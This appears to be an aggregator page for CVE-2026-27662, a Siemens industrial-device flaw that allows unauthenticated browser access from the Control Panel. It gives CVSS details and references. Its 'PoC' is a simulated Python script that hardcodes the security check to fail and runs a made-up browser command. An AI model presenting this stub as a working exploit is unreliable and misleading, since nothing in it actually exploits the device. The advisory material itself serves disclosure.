CVE-2026-27662

Description

Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place. This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Siemens 某些受影响工业设备 (具体版本请参考厂商公告 SSA-387223)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Proof of Concept (PoC) for CVE-2026-27662
# This script demonstrates the logic of exploiting the lack of access control
# on the Control Panel to launch the Web Browser.
# Note: This requires local access to the device interface (AV:L).

import os
import time

def simulate_control_panel_bypass():
    target_device_interface = "/dev/control_panel_input"  # Hypothetical interface
    
    print("[*] Attempting to access Control Panel...")
    
    # Check if security mechanisms are active (simulated)
    # In a vulnerable state, this check returns False or is bypassed
    security_active = check_security_status()
    
    if not security_active:
        print("[!] No security mechanisms detected. Vulnerability confirmed.")
        print("[*] Sending command to launch Web Browser without authentication...")
        
        # Command injection or API call to launch browser
        # This represents the unauthorized action (I:H/A:H)
        command = "open_system_browser --url=http://internal-admin/config"
        
        try:
            # Execute the command via the vulnerable panel interface
            result = os.system(command)
            
            if result == 0:
                print("[+] Success! Web Browser launched with unauthorized access.")
                print("[+] Attacker can now explore backdoors or modify settings.")
            else:
                print("[-] Failed to launch browser.")
                
        except Exception as e:
            print(f"[-] Execution error: {e}")
    else:
        print("[+] Device is patched or security mechanisms are enabled.")

def check_security_status():
    # Simulating the check for security mechanisms
    # Returns False to demonstrate the exploit
    return False

if __name__ == "__main__":
    simulate_control_panel_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27662
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27662
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27662/
[4] VulDB https://vuldb.com/cve/CVE-2026-27662
[5] https://cert-portal.siemens.com/productcert/html/ssa-387223.html

Raw JSON Data

JSON

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